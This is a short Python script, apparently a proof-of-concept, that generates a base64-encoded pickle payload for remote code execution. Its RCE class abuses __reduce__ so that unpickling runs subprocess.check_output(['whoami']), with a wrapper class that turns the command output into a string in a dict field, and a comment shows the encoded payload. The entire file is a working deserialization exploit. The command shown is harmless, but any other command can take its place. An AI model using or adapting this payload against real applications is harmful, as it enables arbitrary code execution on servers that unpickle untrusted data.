fun.py

import base64
import codecs
import pickle

class RCE(object):
    def __reduce__(self):
        import subprocess
        return (subprocess.check_output, (['whoami'], ) )

class RCEStr(object):
    def __reduce__(self):
        return (codecs.decode, (RCE(), 'utf-8') )

pickle_data = pickle.dumps({'name': RCEStr()})
payload = base64.urlsafe_b64encode(pickle_data)
print(payload.decode('utf-8'))
# Outputs: gAN9cQBYBAAAAG5hbWVxAWNfY29kZWNzCmRlY29kZQpxAmNzdWJwcm9jZXNzCmNoZWNrX291dHB1dApxA11xBFgGAAAAd2hvYW1pcQVhhXEGUnEHWAUAAAB1dGYtOHEIhnEJUnEKcy4=